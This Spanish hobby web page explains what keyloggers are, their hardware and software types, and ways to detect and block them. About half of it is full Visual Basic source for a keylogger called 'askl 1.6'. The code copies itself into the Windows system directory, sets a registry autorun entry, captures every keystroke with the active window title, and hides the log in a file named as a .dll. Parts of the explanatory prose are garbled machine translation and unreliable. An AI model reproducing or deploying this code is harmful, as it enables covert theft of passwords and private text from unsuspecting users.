acaz@cascanolahack.net agregame
   
 
  kaylogger definiciòn

Keylogger

DEFINICION

El keylogger es un diagnóstico utilizado en el desarrollo de software que se encarga de registrar las pulsaciones que se realizan sobre el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.

El registro de lo que se teclea puede hacerse tanto con medios de hardware como de software. Los sistemas comerciales disponibles incluyen dispositivos que pueden conectarse al cable del teclado (lo que los hace inmediatamente disponibles pero visibles si un usuario lo revisa) y al teclado mismo (que no se ven pero que se necesita algún conocimiento de como soldarlos). Escribir aplicaciones para realizar keylogging es trivial y, como cualquier programa computacional, puede ser distribuido a través de un troyano o como parte de un virus informático o gusano informático. Se dice que se puede utilizar un teclado virtual para evitar esto, ya que sólo requiere clics del ratón. Sin embargo, la aplicaciones más nuevas también registran pantallazos que anulan la seguridad de esta medida. Además, esto puede ser falso ya que los eventos de mensajes del teclado deben ser enviados al programa externo para que se escriba el texto, por lo que cualquier keylogger podría registrar el texto escrito mediante un teclado virtual.

Tipos de keyloggers

El registro de las pulsaciones del teclado se puede alcanzar por medio de hardware y de software:

  1. Keylogger por hardware, son dispositivos disponibles en el mercado que vienen en tres tipos:
    1. Adaptadores en línea que se intercalan en la conexión del teclado, tienen la ventaja de poder ser instalados inmediatamente. Sin embargo, mientras que pueden ser eventualmente inadvertidos se detectan fácilmente con una revisión visual detallada.
    2. Dispositivos que se pueden instalar dentro de los teclados estándares, requiere de habilidad para soldar y de tener acceso al teclado que se modificará. Son detectables a menos que se abra el cuerpo del teclado.
    3. Teclados reales del reemplazo que contienen el Keylogger ya integrado. Son virtualmente imperceptibles, a menos que se les busque específicamente.
  2. Keyloger por software. Contrariamente a las creencias comunes, un keylogger por software es simple de escribir, con un conocimiento de trabajo de C o de C++ y un conocimiento de los API proporcionados por el sistema operativo del objetivo. Los keyloggers del software bajan en las categorías siguientes:
    1. Basado en núcleo: Este método es el más difícil de escribir, y combatir. Tales keyloggers residen en el nivel del núcleo y son así prácticamente invisibles. Derriban el núcleo del OS y tienen casi siempre el acceso autorizado al hardware que los hace de gran alcance. Un keylogger que usa este método puede actuar como conductor del teclado por ejemplo, y accede así a cualquier información mecanografiada en el teclado mientras que va al sistema operativo.
    2. Enganchados: Tales keyloggers enganchan el teclado con las funciones proporcionadas por el sistema operativo. El sistema operativo los activa en cualquier momento en que se presiona una tecla y realiza el registro.
    3. Métodos creativos: Aquí el programador utiliza funciones como GetAsyncKeyState, GetForegroundWindow, etc. Éstos son los más fáciles de escribir, pero como requieren la revisión el estado de cada tecla varias veces por segundo, pueden causar un aumento sensible en uso de la CPU y pueden ocasionalmente dejar escapar algunas pulsaciones de teclas.

Protección

En algunas pcs podemos darnos cuenta si están infectadas por un keylogger (dependiendo de la frecuencia de nuestro procesador) por el hecho de que el programa registrara cada una de nuestras teclas de la siguiente manera: FicheroLog = FicheroLog + UltimaTecla, este evento será ejecutado por el keylogger cada vez que presiones una tecla, si bien este evento no será una carga relevante para nuestro procesador si se ejecuta a una velocidad normal pero si mantienes unas 10 teclas presionadas por unos 30 segundos y tu sistema se congela o su funcionamiento es demasiado lento podriamos sospechar que un keylogger se ejecuta sobre nuestro sistema.

Monitor de procesos

En windows XP, generalmente presionando ctrl+alt+supr o llendo a Inicio>Ejecutar>taskmgr>aceptar podremos acceder al monitor de procesos y aplicaciones para averiguar que no se esté ejecutando ningun keylogger, es aconsejable contar con un software anti-rootkit para detectar los procesos ocultos.

Anti-spyware

Los usos de Anti-spyware pueden detectar muchos keyloggers y limpiarlos. Vendedores responsables de supervisar la detección del software support por programas del anti-spyware, así previniendo el abuso del software.

Firewall

Permitir un cortafuego no para keyloggers por sí mismo, sino puede prevenir posiblemente la transmisión del material registrado sobre la red.

Los monitores de red

Los monitores de la red (también conocidos como reverso-firewall) se pueden utilizar para alertar al usuario siempre que un uso procure hacer una conexión de red. Esto da a usuario la ocasión de evitar que el keylogger “telefonee el hogar” con su información mecanografiada.

Software de Anti-keylogging

El software de la detección de Keylogger está también disponible. Algo de este tipo del uso “firmas” del software de una lista de todos los keyloggers sabidos. Los usuarios legítimos De la PC pueden entonces funcionar periódicamente una exploración de esta lista, y el software busca los artículos de la lista en duro-conduce. Una desventaja de este acercamiento es que protege solamente contra keyloggers en la lista firma-basada, con el vulnerable restante de la PC a otros keyloggers.

El otro software de la detección no utiliza una lista de la firma, sino que por el contrario analiza los métodos de funcionamiento de muchos módulos en la PC, permitiéndola a bloquear el trabajo de muchos diversos tipos de keylogger. Una desventaja de este acercamiento es que puede también bloquear software legítimo, non-keylogging. Algunos keyloggers heurística-basados tienen la opción para desbloquear buen software sabido, pero éste puede causar las dificultades para los usuarios inexpertos.

Otros métodos

La mayoría de los keyloggers pueden ser engañados alternándose entre mecanografiar las credenciales de la conexión y mecanografiar caracteres en alguna parte en la ventana del foco. Semejantemente, uno puede mover su cursor usando el ratón durante mecanografiar, haciendo los golpes de teclado registrados estar en la orden incorrecta. Uno puede también utilizar menús del contexto para quitar, para copiar, el corte y piezas de la goma del texto mecanografiado sin usar el teclado.

¿Qué es un keylogger?

  • Un keylogger es un malware del tipo daemon.
  • Keylogger deriva del Ingles: Key (Tecla) y Logger (Registrador), "Registrador de teclas".

Ejemplo

Código fuente del motor del keylogger askl 1.6 en Visual Basic:

Declaración:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public aRez As String
Public AsKlTxt As String
Public ultAplica As String
Public prnTxt As String
Public conBin As Boolean
Public impBin As Boolean

Inicio del formulario:

Private Sub Form_Load()
Dim SysDir As String
RegSvc
On Error GoTo Error
      Dim c As String * 256
      SysDir = RTrim$(LCase$(Left$(c, GetSystemDirectory(c, Len(c)))))
      If LCase(App.Path) = LCase(SysDir) Then
            GoTo Okz
            Exit Sub
      Else
            FileCopy LCase(App.Path & "" & App.EXEName & ".exe"), LCase(SysDir & "" & App.EXEName & ".exe")
            Shell LCase(SysDir & "" & App.EXEName & ".exe")
            End
      End If
      Exit Sub

Okz:

      ultAplica = VentanaActiva(True)
      SaveSettingString HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRunServices", App.EXEName, LCase(SysDir & "" & App.EXEName & ".exe")
      AsKlTxt = LCase(App.Path & "" & App.EXEName & ".dll")
      w = FreeFile
      Open AsKlTxt For Append As w
            Print #w, vbCrLf & "ASKL Freeware 1.6 - Comenzando: " & Fechado
      Close w
      Me.tmrAsKl.Enabled = True
Exit Sub
Error:
      End
End Sub

Public Function Fechado()
      Dim d As String
      Dim m As String
      d = VBA.DateTime.Weekday(VBA.DateTime.Date)
      Select Case Val(d)
            Case 1: d = "Domingo"
            Case 2: d = "Lunes"
            Case 3: d = "Martes"
            Case 4: d = "Miércoles"
            Case 5: d = "Jueves"
            Case 6: d = "Viernes"
            Case 7: d = "Sábado"
      End Select
      m = Str(VBA.DateTime.Month(VBA.DateTime.Date))
      Select Case Val(m)
            Case 1: m = "Enero"
            Case 2: m = "Febrero"
            Case 3: m = "Marzo"
            Case 4: m = "Abril"
            Case 5: m = "Mayo"
            Case 6: m = "Junio"
            Case 7: m = "Julio"
            Case 8: m = "Agosto"
            Case 9: m = "Septiembre"
            Case 10: m = "Octubre"
            Case 11: m = "Noviembre"
            Case 12: m = "Diciembre"
      End Select
      Fechado = d & " " & Val(Left(VBA.Date, 2)) & " de " & m & " de " & VBA.Year(VBA.DateTime.Date)
End Function
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
      Dim w As Integer
      w = FreeFile
      Open AsKlTxt For Append As w
           If (aRez <> "") Then
                Print #w, aRez
           End If
      Close w
End Sub
Private Sub tmrAsKl_Timer()
      If (ultAplica <> VentanaActiva(False)) And (VentanaActiva(False) <> "") Then
            prnTxt = ultAplica
            ultAplica = VentanaActiva(False)
            impBin = True
            GoTo Imprime
      End If
      Dim aChr As String
      Dim i As Integer
      i = 0
      For i = 0 To 256
            If GetAsyncKeyState(i) = -32767 Then
                  aChr = Chr(i)
                  GoTo Comprueba
                  Exit For
            End If
      Next i
      Exit Sub

Comprueba:

      If (i >= "65") And (i <= "90") Then
            If (eShift = False) Then
                  If eBloqMayús = True Then
                        aChr = UCase(Chr(i))
                  Else
                        aChr = LCase(Chr(i))
                  End If
            Else
                  If eBloqMayús = False Then
                        aChr = UCase(Chr(i))
                  Else
                        aChr = LCase(Chr(i))
                  End If
            End If
      End If
      If (i >= "48") And (i <= "57") Then
            If eShift = True Then
                  Select Case Val(Chr(i))
                       Case 0
                             aChr = "="
                       Case 1
                             aChr = "!"
                       Case 2
                             aChr = Chr("34")
                       Case 3
                             aChr = "#"
                       Case 4
                             aChr = "$"
                       Case 5
                             aChr = "%"
                       Case 6
                             aChr = Chr("38")
                       Case 7
                             aChr = "/"
                       Case 8
                             aChr = "("
                       Case 9
                             aChr = ")"
                 End Select
           End If
     End If
     Select Case i
           Case 1
                 aChr = "[c1]"
           Case 2
                 aChr = "[c2]"
           Case 8
                 aChr = "[BackSpace]"
           Case 9
                 aChr = "[Tab]"
           Case 13
                 aChr = "[Enter]" & vbCrLf & Chr(9)
           Case 16
                 aChr = ""
           Case 17
                 aChr = "[Control]"
           Case 18
                 aChr = "[Alt]"
           Case 27
                 aChr = "[Esc]"
           Case 33
                 aChr = "[RePág]"
           Case 34
                 aChr = "[AvPág]"
           Case 35
                 aChr = "[Fin]"
           Case 36
                 aChr = "[Inicio]"
           Case 37
                 aChr = "[Izq]"
           Case 38
                 aChr = "[Arb]"
           Case 39
                 aChr = "[Der]"
           Case 40
                 aChr = "[Abj]"
           Case 44
                 aChr = "[ImprPant]"
           Case 45
                 aChr = "[Ins]"
           Case 46
                 aChr = "[Supr]"
           Case 91
                 aChr = "[win]"
           Case 92
                 aChr = "[win]"
           Case 93
                 aChr = "[mnu]"
           Case 96
                 aChr = "0"
           Case 97
                 If eShift = True Then
                       aChr = "[Fin]"
                 Else
                       aChr = "1"
                 End If
           Case 98
                 If eShift = True Then
                       aChr = "[Abj]"
                 Else
                       aChr = "2"
                 End If
           Case 99
                 If eShift = True Then
                       aChr = "[AvPág]"
                 Else
                       aChr = "3"
                 End If
           Case 100
                 If eShift = True Then
                       aChr = "[Izq]"
                 Else
                       aChr = "4"
                 End If
           Case 101
                 aChr = "5"
           Case 102
                 If eShift = True Then
                       aChr = "[Der]"
                 Else
                       aChr = "6"
                 End If
           Case 103
                 If eShift = True Then
                       aChr = "[Inicio]"
                 Else
                       aChr = "7"
                 End If
           Case 104
                 If eShift = True Then
                       aChr = "[Arr]"
                 Else
                       aChr = "8"
                 End If
           Case 105
                 If eShift = True Then
                       aChr = "[RePág]"
                 Else
                       aChr = "9"
                 End If
           Case 106
                 aChr = "*"
           Case 107
                 aChr = "+"
           Case 109
                 aChr = "-"
           Case 110
                 aChr = "."
           Case 111
                 aChr = "/"
           Case 112
                 aChr = "[F1]"
           Case 113
                 aChr = "[F2]"
           Case 114
                 aChr = "[F3]"
           Case 115
                 aChr = "[F4]"
           Case 116
                 aChr = "[F5]"
           Case 117
                 aChr = "[F6]"
           Case 118
                 aChr = "[F7]"
           Case 119
                 aChr = "[F8]"
           Case 120
                 aChr = "[F9]"
           Case 121
                 aChr = "[F10]"
           Case 122
                 aChr = "[F11]"
           Case 123
                 aChr = "[F12]"
           Case 144
                 aChr = "[BloqNum]"
           Case 145
                 aChr = "[BloqDespl]"
           Case 186
                 If (eShift = True) Then
                       aChr = "¨"
                 Else
                       aChr = "´"
                 End If
           Case 187
                 If (eShift = True) Then
                       aChr = "*"
                 Else
                       aChr = "+"
                 End If
           Case 188
                 If (eShift = True) Then
                       aChr = ";"
                 Else
                       aChr = ","
                 End If
           Case 189
                 If (eShift = True) Then
                       aChr = "_"
                 Else
                       aChr = "-"
                 End If
           Case 190
                 If (eShift = True) Then
                       aChr = ":"
                 Else
                       aChr = "."
                 End If
           Case 191
                 If (eShift = True) Then
                       aChr = "]"
                 Else
                       aChr = "}"
                 End If
           Case 192
                 If (eShift = True) Then
                       aChr = "Ñ"
                 Else
                       aChr = "ñ"
                 End If
           Case 219
                 If (eShift = True) Then
                       aChr = "?"
                 Else
                       aChr = "'"
                 End If
           Case 220
                 If (eShift = True) Then
                       aChr = "°"
                 Else
                       aChr = "|"
                 End If
           Case 221
                 If (eShift = True) Then
                       aChr = "¡"
                 Else
                       aChr = "¿"
                 End If
           Case 222
                 If (eShift = True) Then
                       aChr = "["
                 Else
                       aChr = "{"
                 End If
            Case 226
                 If (eShift = True) Then
                       aChr = ">"
                 Else
                       aChr = "<"
                 End If
     End Select
If aChr <> "" Then aRez = aRez & aChr
      Exit Sub

Imprime:

      If (impBin) Then
            aRez = Replace(aRez, "[Control][Alt]q", "@")
            aRez = Replace(aRez, "[Control][Alt]'", "")
            aRez = Replace(aRez, "[Control][Alt]|", "¬")
            aRez = Replace(aRez, "[Control][Alt]+", "~")
            aRez = Replace(aRez, "[Control][Alt]{", "^")
            aRez = Replace(aRez, "[Control][Alt]}", "`")
            aRez = Replace(aRez, "[Control][Alt]+", "~")
            aRez = Replace(aRez, "´ ", "´")
            aRez = Replace(aRez, "´a", "á")
            aRez = Replace(aRez, "´e", "é")
            aRez = Replace(aRez, "´i", "í")
            aRez = Replace(aRez, "´o", "ó")
            aRez = Replace(aRez, "´u", "ú")
            aRez = Replace(aRez, "´y", "ý")
            aRez = Replace(aRez, "´A", "Á")
            aRez = Replace(aRez, "´E", "É")
            aRez = Replace(aRez, "´I", "Í")
            aRez = Replace(aRez, "´O", "Ó")
            aRez = Replace(aRez, "´U", "Ú")
            aRez = Replace(aRez, "´Y", "Ý")
            aRez = Replace(aRez, "¨ ", "¨")
            aRez = Replace(aRez, "¨a", "ä")
            aRez = Replace(aRez, "¨e", "ë")
            aRez = Replace(aRez, "¨i", "ï")
            aRez = Replace(aRez, "¨o", "ö")
            aRez = Replace(aRez, "¨u", "ü")
            aRez = Replace(aRez, "¨y", "ÿ")
            aRez = Replace(aRez, "¨A", "Ä")
            aRez = Replace(aRez, "¨E", "Ë")
            aRez = Replace(aRez, "¨I", "Ï")
            aRez = Replace(aRez, "¨O", "Ö")
            aRez = Replace(aRez, "¨U", "Ü")
            aRez = vbCrLf & VBA.Date & " " & VBA.Time$ & " [" & prnTxt & "]" & vbCrLf & Chr(9) & aRez
            'Debug.Print aRez
            Dim w As Integer
            w = FreeFile
            Open AsKlTxt For Append As w
                  Print #w, aRez
            Close w
            aRez = ""
            impBin = False
     End If
End Sub
 
Bendiciònes
 
PAGINA EN REPARACION


 



















 
.................
 
 
Este sitio web fue creado de forma gratuita con PaginaWebGratis.es. ¿Quieres también tu sitio web propio?
Registrarse gratis